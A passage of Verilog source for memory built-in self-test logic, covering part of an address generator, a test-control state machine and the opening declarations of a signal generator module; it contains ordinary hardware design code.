// AddressSegmentCmd Decode
// ---------------- ------
// Hold 3'b000
// Increment 3'b010
// Decrement 3'b011
// LoadMin 3'b100
// LoadMax 3'b101
//
assign INCY1 = (ADD_Y1_CMD == 3'b010);
assign DECY1 = (ADD_Y1_CMD == 3'b011);
assign SETY1MIN = (MBISTPG_REDUCED_ADDR_CNT_EN & Y1_CNT_EN & Y1_MAX) | (ADD_Y1_CMD == 3'b100);
assign SETY1MAX = (MBISTPG_REDUCED_ADDR_CNT_EN & Y1_CNT_EN & Y1_MIN) | (ADD_Y1_CMD == 3'b101);
assign INCX1 = (ADD_X1_CMD == 3'b010);
assign DECX1 = (ADD_X1_CMD == 3'b011);
assign SETX1MIN = (MBISTPG_REDUCED_ADDR_CNT_EN & X1_CNT_EN & X1_MAX) | (ADD_X1_CMD == 3'b100);
assign SETX1MAX = (MBISTPG_REDUCED_ADDR_CNT_EN & X1_CNT_EN & X1_MIN) | (ADD_X1_CMD == 3'b101);
//------------------------------
//-- Calculate next Y address --
//------------------------------
assign Y_R = Y_ADD_CNT;
assign Y_RP = (({3{INCY1}} & ~Y_R) | ({3{DECY1}} & Y_R));
assign Y_RCO = (Y_RCI | Y_RP) ;
assign Y_RCI = (~Y1_CNT_EN) ? {3{1'b1}} :
({Y_RCO[1:0], 1'b0 }) ;
always @ (Y1_SET_MAX or Y1_SET_MIN or Y_ADD_CNT_MAX or Y_ADD_CNT_MIN or Y_ADD_CNT or Y_RCI) begin
case ({Y1_SET_MAX, Y1_SET_MIN})
2'b10, 2'b11 : NEXT_Y_ADD_COUNT = Y_ADD_CNT_MAX;
2'b01 : NEXT_Y_ADD_COUNT = Y_ADD_CNT_MIN;
default : NEXT_Y_ADD_COUNT = (Y_ADD_CNT ^ ~Y_RCI);
endcase
end
//------------------------------
//-- Calculate next X address --
//------------------------------
assign X_R = X_ADD_CNT;
assign X_RP = (({10{INCX1}} & ~X_R) | ({10{DECX1}} & X_R));
assign X_RCO = (X_RCI | X_RP) ;
assign X_RCI = (~X1_CNT_EN) ? {10{1'b1}} :
({X_RCO[8:0], 1'b0 }) ;
always @ (X1_SET_MAX or X1_SET_MIN or X_ADD_CNT_MAX or X_ADD_CNT_MIN or X_ADD_CNT or X_RCI) begin
case ({X1_SET_MAX, X1_SET_MIN})
2'b10, 2'b11 : NEXT_X_ADD_COUNT = X_ADD_CNT_MAX;
2'b01 : NEXT_X_ADD_COUNT = X_ADD_CNT_MIN;
default : NEXT_X_ADD_COUNT = (X_ADD_CNT ^ ~X_RCI);
endcase
end
//---------------------------------
//-- Select the address register --
//---------------------------------
assign X_ADD_CNT = (SELECT_REG[0] == 1'b1) ? BX_ADD_REG :
AX_ADD_REG ;
assign Y_ADD_CNT = (SELECT_REG[0] == 1'b1) ? BY_ADD_REG :
AY_ADD_REG ;
//--------------------------------------
//-- Select the carry-in & X0Y0 setup --
//--------------------------------------
assign X1_ADD_SEGMENT_LINK = (SELECT_REG[0] == 1'b1) ? B_X1_ADD_SEGMENT_LINK_REG :
A_X1_ADD_SEGMENT_LINK_REG ;
assign Y1_ADD_SEGMENT_LINK = (SELECT_REG[0] == 1'b1) ? B_Y1_ADD_SEGMENT_LINK_REG :
A_Y1_ADD_SEGMENT_LINK_REG ;
//----------------------------------------------
// X Address min and max address count values --
//----------------------------------------------
// Algorithm: SMARCHCHKB Type: IC
assign X_ADD_REG_MIN_DEFAULT = 10'b0000000000;
assign X_ADD_CNT_MIN = X_ADD_REG_MIN_DEFAULT;
// Algorithm: SMARCHCHKB Type: IC
assign X_ADD_REG_MAX_DEFAULT = MBISTPG_REDUCED_ADDR_CNT_EN ? 10'b1111111111 : 10'b1111111111;
assign X_ADD_CNT_MAX = X_ADD_REG_MAX_DEFAULT;
//----------------------------------------
// Select out bit X register --
//----------------------------------------
assign X_ADD_ROT_OUT_DEFAULT = 4'b1001;
assign X_ADD_ROT_OUT = X_ADD_ROT_OUT_DEFAULT;
//------------------------------------------------
// Mux controlled by the X_ADD_ROT_OUT register --
//------------------------------------------------
always @(X_ADD_ROT_OUT or AX_ADD_REG or BX_ADD_REG ) begin
case (X_ADD_ROT_OUT)
4'b0000 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[0:0];
BX_ROT_OUT_SELECTED = BX_ADD_REG[0:0];
end
4'b0001 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[1:1];
BX_ROT_OUT_SELECTED = BX_ADD_REG[1:1];
end
4'b0010 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[2:2];
BX_ROT_OUT_SELECTED = BX_ADD_REG[2:2];
end
4'b0011 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[3:3];
BX_ROT_OUT_SELECTED = BX_ADD_REG[3:3];
end
4'b0100 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[4:4];
BX_ROT_OUT_SELECTED = BX_ADD_REG[4:4];
end
4'b0101 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[5:5];
BX_ROT_OUT_SELECTED = BX_ADD_REG[5:5];
end
4'b0110 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[6:6];
BX_ROT_OUT_SELECTED = BX_ADD_REG[6:6];
end
4'b0111 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[7:7];
BX_ROT_OUT_SELECTED = BX_ADD_REG[7:7];
end
4'b1000 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[8:8];
BX_ROT_OUT_SELECTED = BX_ADD_REG[8:8];
end
4'b1001 : begin
AX_ROT_OUT_SELECTED = AX_ADD_REG[9:9];
BX_ROT_OUT_SELECTED = BX_ADD_REG[9:9];
end
default : begin
AX_ROT_OUT_SELECTED = 1'b0;
BX_ROT_OUT_SELECTED = 1'b0;
end
endcase
end
//----------------------------------------
// Select shift in bit X register --
//----------------------------------------
assign X_ADD_ROT_IN_DEFAULT = 2'b00;
assign X_ADD_ROT_IN_REG = X_ADD_ROT_IN_DEFAULT;
//-----------------------------------------------------------------
// Mux for AX and BX controlled by the X_ADD_ROT_IN_REG register --
//-----------------------------------------------------------------
assign X_ADD_ROT_IN_SELECTED = (BIST_RUN) ? X_ADD_ROT_IN_REG : 2'b00 ;
always @(X_ADD_ROT_IN_SELECTED or AX_ROT_OUT_SELECTED or AY_ROT_OUT_SELECTED or AY_ADD_REG ) begin
case (X_ADD_ROT_IN_SELECTED)
2'b00 : begin
AX_ROT_IN_SELECTED = AY_ADD_REG[2] ;
end
2'b01 : begin
AX_ROT_IN_SELECTED = 1'b0 ;
end
2'b10 : begin
AX_ROT_IN_SELECTED = AY_ROT_OUT_SELECTED ;
end
2'b11 : begin
AX_ROT_IN_SELECTED = AX_ROT_OUT_SELECTED ;
end
endcase
end
always @(X_ADD_ROT_IN_SELECTED or BX_ROT_OUT_SELECTED or BY_ROT_OUT_SELECTED or BY_ADD_REG ) begin
case (X_ADD_ROT_IN_SELECTED)
2'b00 : begin
BX_ROT_IN_SELECTED = BY_ADD_REG[2] ;
end
2'b01 : begin
BX_ROT_IN_SELECTED = 1'b0 ;
end
2'b10 : begin
BX_ROT_IN_SELECTED = BY_ROT_OUT_SELECTED ;
end
2'b11 : begin
BX_ROT_IN_SELECTED = BX_ROT_OUT_SELECTED ;
end
endcase
end
//-----------------------------
// Right rotation on AX only --
//-----------------------------
assign AX_ROT_RT_IN_SELECTED = AY_ROT_RT_OUT_SELECTED;
assign AX_ROT_RT_OUT_SELECTED = AX_ADD_REG[0];
//----------------------------------------------
// Y Address min and max address count values --
//----------------------------------------------
// Algorithm: SMARCHCHKB Type: IC
assign Y_ADD_REG_MIN_DEFAULT = 3'b000;
assign Y_ADD_CNT_MIN = Y_ADD_REG_MIN_DEFAULT;
// Algorithm: SMARCHCHKB Type: IC
assign Y_ADD_REG_MAX_DEFAULT = MBISTPG_REDUCED_ADDR_CNT_EN ? 3'b111 : 3'b111;
assign Y_ADD_CNT_MAX = Y_ADD_REG_MAX_DEFAULT;
//----------------------------------------
// Select out bit Y register --
//----------------------------------------
assign Y_ADD_ROT_OUT_DEFAULT = 2'b10;
assign Y_ADD_ROT_OUT = Y_ADD_ROT_OUT_DEFAULT;
//------------------------------------------------
// Mux controlled by the Y_ADD_ROT_OUT register --
//------------------------------------------------
always @(Y_ADD_ROT_OUT or AY_ADD_REG or BY_ADD_REG ) begin
case (Y_ADD_ROT_OUT)
2'b00 : begin
AY_ROT_OUT_SELECTED = AY_ADD_REG[0:0];
BY_ROT_OUT_SELECTED = BY_ADD_REG[0:0];
end
2'b01 : begin
AY_ROT_OUT_SELECTED = AY_ADD_REG[1:1];
BY_ROT_OUT_SELECTED = BY_ADD_REG[1:1];
end
2'b10 : begin
AY_ROT_OUT_SELECTED = AY_ADD_REG[2:2];
BY_ROT_OUT_SELECTED = BY_ADD_REG[2:2];
end
default : begin
AY_ROT_OUT_SELECTED = 1'b0;
BY_ROT_OUT_SELECTED = 1'b0;
end
endcase
end
//----------------------------------------
// Select shift in bit Y register --
//----------------------------------------
assign Y_ADD_ROT_IN_DEFAULT = 2'b00;
assign Y_ADD_ROT_IN_REG = Y_ADD_ROT_IN_DEFAULT;
//-----------------------------------------------------------------
// Mux for AY and BY controlled by the Y_ADD_ROT_IN_REG register --
//-----------------------------------------------------------------
assign Y_ADD_ROT_IN_SELECTED = (BIST_RUN) ? Y_ADD_ROT_IN_REG : 2'b00 ;
always @(Y_ADD_ROT_IN_SELECTED or AY_ROT_OUT_SELECTED or AX_ROT_OUT_SELECTED or A_ADD_REG_SI ) begin
case (Y_ADD_ROT_IN_SELECTED)
2'b00 : begin
AY_ROT_IN_SELECTED = A_ADD_REG_SI;
end
2'b01 : begin
AY_ROT_IN_SELECTED = 1'b0 ;
end
2'b10 : begin
AY_ROT_IN_SELECTED = AY_ROT_OUT_SELECTED ;
end
2'b11 : begin
AY_ROT_IN_SELECTED = AX_ROT_OUT_SELECTED ;
end
endcase
end
always @(Y_ADD_ROT_IN_SELECTED or BY_ROT_OUT_SELECTED or BX_ROT_OUT_SELECTED or B_ADD_REG_SI ) begin
case (Y_ADD_ROT_IN_SELECTED)
2'b00 : begin
BY_ROT_IN_SELECTED = B_ADD_REG_SI;
end
2'b01 : begin
BY_ROT_IN_SELECTED = 1'b0 ;
end
2'b10 : begin
BY_ROT_IN_SELECTED = BY_ROT_OUT_SELECTED ;
end
2'b11 : begin
BY_ROT_IN_SELECTED = BX_ROT_OUT_SELECTED ;
end
endcase
end
//-----------------------------
// Right rotation on AY only --
//-----------------------------
assign AY_ROT_RT_IN_SELECTED = AX_ROT_RT_OUT_SELECTED;
assign AY_ROT_RT_OUT_SELECTED = AY_ADD_REG[0];
//------------------------------------------------
// Address end count triggers and count enables --
//------------------------------------------------
assign Y1_MIN = (Y_ADD_CNT == Y_ADD_CNT_MIN);
assign Y1_MAX = (Y_ADD_CNT == Y_ADD_CNT_MAX);
assign X1_MIN = (X_ADD_CNT == X_ADD_CNT_MIN);
assign X1_MAX = (X_ADD_CNT == X_ADD_CNT_MAX);
assign Y1_MAX_TRIGGER = Y1_MAX;
assign Y1_MIN_TRIGGER = Y1_MIN;
assign X1_MAX_TRIGGER = X1_MAX;
assign X1_MIN_TRIGGER = X1_MIN;
assign Y1_MINMAX_TRIGGER_INT = (INCY1 & Y1_MAX_TRIGGER) | (DECY1 & Y1_MIN_TRIGGER);
assign X1_MINMAX_TRIGGER_INT = (INCX1 & X1_MAX_TRIGGER) | (DECX1 & X1_MIN_TRIGGER);
assign Y1_CNT_EN_TRIGGER = {X1_MINMAX_TRIGGER_INT };
assign X1_CNT_EN_TRIGGER = {Y1_MINMAX_TRIGGER_INT };
assign Y1_CNT_EN = (INCY1 | DECY1) & ((Y1_CNT_EN_CONDITIONS & Y1_CNT_EN_TRIGGER) == Y1_CNT_EN_CONDITIONS);
assign X1_CNT_EN = (INCX1 | DECX1) & ((X1_CNT_EN_CONDITIONS & X1_CNT_EN_TRIGGER) == X1_CNT_EN_CONDITIONS);
//------------------------------------------
// Address set min and set max conditions --
//------------------------------------------
assign Y1_SET_MIN = (Y1_CNT_EN & Y1_MAX_TRIGGER & INCY1) | SETY1MIN;
assign Y1_SET_MAX = (Y1_CNT_EN & Y1_MIN_TRIGGER & DECY1) | SETY1MAX;
assign X1_SET_MIN = (X1_CNT_EN & X1_MAX_TRIGGER & INCX1) | SETX1MIN;
assign X1_SET_MAX = (X1_CNT_EN & X1_MIN_TRIGGER & DECX1) | SETX1MAX;
//------------------------------------
//-- ADDRESS REGISTER A : X SEGMENT --
//------------------------------------
assign AX_ADD_WIRE = 10'b0000000000; // Algorithm: SMARCHCHKB
assign AX_MASK = (BIST_SHIFT_SHORT) ? 10'b1111111111 :
(X_ADD_ROT_OUT == 4'b1001) ? 10'b1111111111 :
(X_ADD_ROT_OUT == 4'b1000) ? 10'b0111111111 :
(X_ADD_ROT_OUT == 4'b0111) ? 10'b0011111111 :
(X_ADD_ROT_OUT == 4'b0110) ? 10'b0001111111 :
(X_ADD_ROT_OUT == 4'b0101) ? 10'b0000111111 :
(X_ADD_ROT_OUT == 4'b0100) ? 10'b0000011111 :
(X_ADD_ROT_OUT == 4'b0011) ? 10'b0000001111 :
(X_ADD_ROT_OUT == 4'b0010) ? 10'b0000000111 :
(X_ADD_ROT_OUT == 4'b0001) ? 10'b0000000011 :
10'b0000000001;
// synopsys sync_set_reset "ESOE_RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
AX_ADD_REG <= 10'b0000000000;
else
if (RESET_REG_DEFAULT_MODE)
AX_ADD_REG <= AX_ADD_WIRE;
else
if (ESOE_RESET)
AX_ADD_REG <= 10'b0000000000;
else
if (BIST_SHIFT_SHORT | (LAST_TICK & ~BIST_HOLD & ROT_LF_A_ADD_REG & BIST_RUN))
AX_ADD_REG <= (AX_MASK & {AX_ADD_REG[8:0], AX_ROT_IN_SELECTED}) | (~AX_MASK & AX_ADD_REG);
else
if (LAST_TICK & ~BIST_HOLD & ROT_RT_A_ADD_REG & BIST_RUN)
AX_ADD_REG <= {AX_ROT_RT_IN_SELECTED, AX_ADD_REG[9:1]};
else begin
if ( ENABLE_A_ADD_REG & BIST_RUN & ~BIST_HOLD)
if (LAST_TICK & ~INH_LAST_ADDR_CNT) begin
AX_ADD_REG <= NEXT_X_ADD_COUNT;
end
end
end
//------------------------------------
//-- ADDRESS REGISTER A : Y SEGMENT --
//------------------------------------
assign AY_ADD_WIRE = 3'b000; // Algorithm: SMARCHCHKB
assign AY_MASK = (BIST_SHIFT_SHORT) ? 3'b111 :
(Y_ADD_ROT_OUT == 2'b10) ? 3'b111 :
(Y_ADD_ROT_OUT == 2'b01) ? 3'b011 :
3'b001;
// synopsys sync_set_reset "ESOE_RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
AY_ADD_REG <= 3'b000;
else
if (RESET_REG_DEFAULT_MODE)
AY_ADD_REG <= AY_ADD_WIRE;
else
if (ESOE_RESET)
AY_ADD_REG <= 3'b000;
else
if (BIST_SHIFT_SHORT | (LAST_TICK & ~BIST_HOLD & ROT_LF_A_ADD_REG & BIST_RUN))
AY_ADD_REG <= (AY_MASK & {AY_ADD_REG[1:0], AY_ROT_IN_SELECTED}) | (~AY_MASK & AY_ADD_REG);
else
if (LAST_TICK & ~BIST_HOLD & ROT_RT_A_ADD_REG & BIST_RUN)
AY_ADD_REG <= {AY_ROT_RT_IN_SELECTED, AY_ADD_REG[2:1]};
else begin
if ( ENABLE_A_ADD_REG & BIST_RUN & ~BIST_HOLD )
if (LAST_TICK & ~INH_LAST_ADDR_CNT) begin
AY_ADD_REG <= NEXT_Y_ADD_COUNT;
end
end
end
//------------------------------------
//-- ADDRESS REGISTER B : X SEGMENT --
//------------------------------------
assign BX_ADD_WIRE = 10'b0000000000; // Algorithm: SMARCHCHKB
assign BX_MASK = (BIST_SHIFT_SHORT) ? 10'b1111111111 :
(X_ADD_ROT_OUT == 4'b1001) ? 10'b1111111111 :
(X_ADD_ROT_OUT == 4'b1000) ? 10'b0111111111 :
(X_ADD_ROT_OUT == 4'b0111) ? 10'b0011111111 :
(X_ADD_ROT_OUT == 4'b0110) ? 10'b0001111111 :
(X_ADD_ROT_OUT == 4'b0101) ? 10'b0000111111 :
(X_ADD_ROT_OUT == 4'b0100) ? 10'b0000011111 :
(X_ADD_ROT_OUT == 4'b0011) ? 10'b0000001111 :
(X_ADD_ROT_OUT == 4'b0010) ? 10'b0000000111 :
(X_ADD_ROT_OUT == 4'b0001) ? 10'b0000000011 :
10'b0000000001;
// synopsys sync_set_reset "ESOE_RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
BX_ADD_REG <= 10'b0000000000;
else
if (RESET_REG_DEFAULT_MODE)
BX_ADD_REG <= BX_ADD_WIRE;
else
if (ESOE_RESET)
BX_ADD_REG <= 10'b0000000000;
else
if (BIST_SHIFT_SHORT | (LAST_TICK & ~BIST_HOLD & ROT_LF_B_ADD_REG & BIST_RUN))
BX_ADD_REG <= (BX_MASK & {BX_ADD_REG[8:0], BX_ROT_IN_SELECTED}) | (~BX_MASK & BX_ADD_REG);
else begin
if ( ENABLE_B_ADD_REG & BIST_RUN & ~BIST_HOLD)
if (LAST_TICK & ~INH_LAST_ADDR_CNT) begin
BX_ADD_REG <= NEXT_X_ADD_COUNT;
end
end
end
//------------------------------------
//-- ADDRESS REGISTER B : Y SEGMENT --
//------------------------------------
assign BY_ADD_WIRE = 3'b000; // Algorithm: SMARCHCHKB
assign BY_MASK = (BIST_SHIFT_SHORT) ? 3'b111 :
(Y_ADD_ROT_OUT == 2'b10) ? 3'b111 :
(Y_ADD_ROT_OUT == 2'b01) ? 3'b011 :
3'b001;
// synopsys sync_set_reset "ESOE_RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
BY_ADD_REG <= 3'b000;
else
if (RESET_REG_DEFAULT_MODE)
BY_ADD_REG <= BY_ADD_WIRE;
else
if (ESOE_RESET)
BY_ADD_REG <= 3'b000;
else
if (BIST_SHIFT_SHORT | (LAST_TICK & ~BIST_HOLD & ROT_LF_B_ADD_REG & BIST_RUN))
BY_ADD_REG <= (BY_MASK & {BY_ADD_REG[1:0], BY_ROT_IN_SELECTED}) | (~BY_MASK & BY_ADD_REG);
else begin
if ( ENABLE_B_ADD_REG & BIST_RUN & ~BIST_HOLD)
if (LAST_TICK & ~INH_LAST_ADDR_CNT) begin
BY_ADD_REG <= NEXT_Y_ADD_COUNT;
end
end
end
//------------------------------------------------
//-- ADDRESS REGISTER A : CARRY-IN & X0Y0 SETUP --
//------------------------------------------------
assign A_X1_ADD_SEGMENT_LINK_REG = A_SCAN_REGISTER[0:0];
assign A_Y1_ADD_SEGMENT_LINK_REG = A_SCAN_REGISTER[1:1];
assign A_SCAN_REGISTER_SI = AX_ADD_REG[9];
assign A_SCAN_REGISTER_SO = A_SCAN_REGISTER_SI;
assign A_SCAN_WIRE = {1'b0, 1'b1};
assign A_SCAN_REGISTER = A_SCAN_WIRE;
//------------------------------------------------
//-- ADDRESS REGISTER B : CARRY-IN & X0Y0 SETUP --
//------------------------------------------------
assign B_X1_ADD_SEGMENT_LINK_REG = B_SCAN_REGISTER[0:0];
assign B_Y1_ADD_SEGMENT_LINK_REG = B_SCAN_REGISTER[1:1];
assign B_SCAN_REGISTER_SI = BX_ADD_REG[9];
assign B_SCAN_REGISTER_SO = B_SCAN_REGISTER_SI;
assign B_SCAN_WIRE = {1'b1, 1'b0};
assign B_SCAN_REGISTER = B_SCAN_WIRE;
endmodule // SMARCHCHKB_LVISION_MBISTPG_ADD_GEN
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_FSM
Description : This module is a finite state machine used to control the
initialization, setup, and execution of the test.
-------------------------------------------------------- (c) <NAME> */
module SMARCHCHKB_LVISION_MBISTPG_FSM (
//inputs
BIST_CLK ,
BIST_ON ,
BIST_HOLD_R ,
NEXT_ALGO ,
BIST_ASYNC_RESETN ,
LAST_STATE_DONE ,
PAUSETOEND_ALGO_MODE,
//outputs
SETUP_PULSE1 ,
SETUP_PULSE2 ,
BIST_INIT ,
BIST_RUN ,
BIST_RUN_PIPE ,
BIST_DONE ,
BIST_IDLE_PULSE ,
BIST_IDLE
);
input BIST_CLK;
input BIST_ON;
input BIST_HOLD_R;
input NEXT_ALGO;
input BIST_ASYNC_RESETN;
input LAST_STATE_DONE;
input PAUSETOEND_ALGO_MODE;
output SETUP_PULSE1;
output SETUP_PULSE2;
output BIST_INIT;
output BIST_RUN;
output BIST_RUN_PIPE;
output BIST_DONE;
output BIST_IDLE_PULSE;
output BIST_IDLE;
localparam MAIN_STATE_IDLE = 3'b000; // 0
localparam MAIN_STATE_INIT = 3'b100; // 4
localparam MAIN_STATE_SETUP1 = 3'b001; // 1
localparam MAIN_STATE_SETUP2 = 3'b011; // 3
localparam MAIN_STATE_RUN = 3'b010; // 2
localparam MAIN_STATE_DONE = 3'b110; // 6
reg [2:0] STATE;
reg [2:0] NEXT_STATE;
reg RUNTEST_EN;
reg [3:0] RUNTEST_EN_REG;
reg INIT;
reg SETUP1;
reg SETUP2;
reg PAUSETOEND_ALGO_MODE_REG;
wire RESET;
//-------------------
// Main State Machine
//-------------------
assign RESET = (~BIST_ON | BIST_HOLD_R | NEXT_ALGO) & ~PAUSETOEND_ALGO_MODE_REG;
assign BIST_IDLE = (STATE == MAIN_STATE_IDLE);
assign BIST_IDLE_PULSE = ~RESET & BIST_IDLE;
assign BIST_INIT = INIT & BIST_ON;
assign SETUP_PULSE1 = SETUP1 & BIST_ON;
assign SETUP_PULSE2 = SETUP2 & BIST_ON;
assign BIST_RUN = RUNTEST_EN;
assign BIST_RUN_PIPE = RUNTEST_EN_REG[3];
assign BIST_DONE = (STATE == MAIN_STATE_DONE);
// synopsys sync_set_reset "RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
STATE <= MAIN_STATE_IDLE;
else
if (RESET)
STATE <= MAIN_STATE_IDLE;
else
if (~BIST_HOLD_R)
STATE <= NEXT_STATE;
end
always @ (STATE or LAST_STATE_DONE ) begin
case (STATE)
MAIN_STATE_IDLE:
begin
NEXT_STATE = MAIN_STATE_INIT;
INIT = 1'b0;
SETUP1 = 1'b0;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b0;
end
MAIN_STATE_INIT:
begin
NEXT_STATE = MAIN_STATE_SETUP1;
INIT = 1'b1;
SETUP1 = 1'b0;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b0;
end
MAIN_STATE_SETUP1:
begin
NEXT_STATE = MAIN_STATE_SETUP2;
INIT = 1'b0;
SETUP1 = 1'b1;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b0;
end
MAIN_STATE_SETUP2:
begin
NEXT_STATE = MAIN_STATE_RUN;
INIT = 1'b0;
SETUP1 = 1'b0;
SETUP2 = 1'b1;
RUNTEST_EN = 1'b0;
end
MAIN_STATE_RUN:
begin
INIT = 1'b0;
SETUP1 = 1'b0;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b1;
if (LAST_STATE_DONE) begin
NEXT_STATE = MAIN_STATE_DONE;
end
else begin
NEXT_STATE = MAIN_STATE_RUN;
end
end
MAIN_STATE_DONE:
begin
NEXT_STATE = MAIN_STATE_DONE;
INIT = 1'b0;
SETUP1 = 1'b0;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b0;
end
default :
begin
NEXT_STATE = MAIN_STATE_IDLE;
INIT = 1'b0;
SETUP1 = 1'b0;
SETUP2 = 1'b0;
RUNTEST_EN = 1'b0;
end
endcase
end
// synopsys sync_set_reset "RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
RUNTEST_EN_REG <= 4'd0;
else
if (RESET)
RUNTEST_EN_REG <= 4'd0;
else
if (~BIST_HOLD_R)
RUNTEST_EN_REG <= {RUNTEST_EN_REG[2:0], RUNTEST_EN};
end
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
PAUSETOEND_ALGO_MODE_REG <= 1'b0;
else
if (~BIST_ON & ~BIST_DONE) begin
PAUSETOEND_ALGO_MODE_REG <= 1'b0;
end else begin
PAUSETOEND_ALGO_MODE_REG <= PAUSETOEND_ALGO_MODE;
end
end
endmodule // SMARCHCHKB_LVISION_MBISTPG_FSM
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_SIGNAL_GEN
Description :
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_SIGNAL_GEN (
BIST_CLK ,
BIST_ASYNC_RESETN ,
SI ,
BIST_SHIFT_SHORT ,
BIST_HOLD_R_INT ,
RESET_REG_DEFAULT_MODE ,
OP_SELECT_CMD ,
BIST_RUN ,
BIST_RUN_BUF ,
BIST_RUN_TO_BUF ,
LAST_STATE_DONE ,
BIST_CMP ,
BIST_SELECT ,
BIST_OUTPUTENABLE ,
BIST_WRITEENABLE ,
SO ,
BIST_ALGO_SEL_CNT ,
LAST_TICK
);
input BIST_CLK;
input BIST_ASYNC_RESETN;
input SI;
input BIST_SHIFT_SHORT;
input BIST_HOLD_R_INT;
input RESET_REG_DEFAULT_MODE;
input [2:0] OP_SELECT_CMD;
input BIST_RUN;
input BIST_RUN_TO_BUF;
input BIST_RUN_BUF;
input LAST_STATE_DONE;
input BIST_ALGO_SEL_CNT;
output LAST_TICK;
output BIST_CMP;
output BIST_SELECT;
output BIST_OUTPUTENABLE;
output BIST_WRITEENABLE;
output SO;
reg LAST_TICK_REG;
wire OPERATION_LAST_TICK_REG;
reg [2:0] JCNT;
wire [5:0] JCNT_FROM, JCNT_TO;
wire RESET_JCNT;
wire RESET_LAST_TICK_REG;
wire LAST_TICK_D;
wire LAST_OPERATION_DONE;
//----------------
// Last cycle flag
//----------------
// Last cycle flag {{{
wire DEFAULT_LAST_TICK;
wire DEFAULT_SYNC_LAST_TICK;
wire DEFAULT_SYNCWR_LAST_TICK;
wire DEFAULT_ASYNC_LAST_TICK;
wire DEFAULT_ASYNCWR_LAST_TICK;
wire DEFAULT_CLOCKEDASYNC_LAST_TICK;
wire DEFAULT_CLOCKEDASYNCWR_LAST_TICK;
// Last cycle flag }}}
wire [5:0] DEFAULT_OPSET_SEL;
//-----------------------------
// SELECT waveform
//-----------------------------
wire DEFAULT_SELECT;
wire DEFAULT_SELECT_SELECTED;
// OperationSet: SYNC {{{
wire DEFAULT_SYNC_NOOPERATION_SELECT;
wire DEFAULT_SYNC_WRITE_SELECT;
wire DEFAULT_SYNC_READ_SELECT;
wire DEFAULT_SYNC_READMODIFYWRITE_SELECT;
wire DEFAULT_SYNC_WRITEREAD_SELECT;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
wire DEFAULT_SYNCWR_NOOPERATION_SELECT;
wire DEFAULT_SYNCWR_WRITE_SELECT;
wire DEFAULT_SYNCWR_READ_SELECT;
wire DEFAULT_SYNCWR_READMODIFYWRITE_SELECT;
// OperationSet: SYNCWR }}}
// OperationSet: ASYNC {{{
wire DEFAULT_ASYNC_NOOPERATION_SELECT;
wire DEFAULT_ASYNC_WRITE_SELECT;
wire DEFAULT_ASYNC_READ_SELECT;
wire DEFAULT_ASYNC_READMODIFYWRITE_SELECT;
// OperationSet: ASYNC }}}
// OperationSet: ASYNCWR {{{
wire DEFAULT_ASYNCWR_NOOPERATION_SELECT;
wire DEFAULT_ASYNCWR_WRITE_SELECT;
wire DEFAULT_ASYNCWR_READ_SELECT;
wire DEFAULT_ASYNCWR_READMODIFYWRITE_SELECT;
// OperationSet: ASYNCWR }}}
// OperationSet: CLOCKEDASYNC {{{
wire DEFAULT_CLOCKEDASYNC_NOOPERATION_SELECT;
wire DEFAULT_CLOCKEDASYNC_WRITE_SELECT;
wire DEFAULT_CLOCKEDASYNC_READ_SELECT;
wire DEFAULT_CLOCKEDASYNC_READMODIFYWRITE_SELECT;
// OperationSet: CLOCKEDASYNC }}}
// OperationSet: CLOCKEDASYNCWR {{{
wire DEFAULT_CLOCKEDASYNCWR_NOOPERATION_SELECT;
wire DEFAULT_CLOCKEDASYNCWR_WRITE_SELECT;
wire DEFAULT_CLOCKEDASYNCWR_READ_SELECT;
wire DEFAULT_CLOCKEDASYNCWR_READMODIFYWRITE_SELECT;
// OperationSet: CLOCKEDASYNCWR }}}
//-----------------------------
// OUTPUTENABLE waveform
//-----------------------------
wire DEFAULT_OUTPUTENABLE;
wire DEFAULT_OUTPUTENABLE_SELECTED;
// OperationSet: SYNC {{{
wire DEFAULT_SYNC_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_SYNC_WRITE_OUTPUTENABLE;
wire DEFAULT_SYNC_READ_OUTPUTENABLE;
wire DEFAULT_SYNC_READMODIFYWRITE_OUTPUTENABLE;
wire DEFAULT_SYNC_WRITEREAD_OUTPUTENABLE;
// OperationSet: SYNC }}}
// OperationSet: SYNCWR {{{
wire DEFAULT_SYNCWR_NOOPERATION_OUTPUTENABLE;
wire DEFAULT_SYNCWR_WRITE_OUTPUTENABLE;
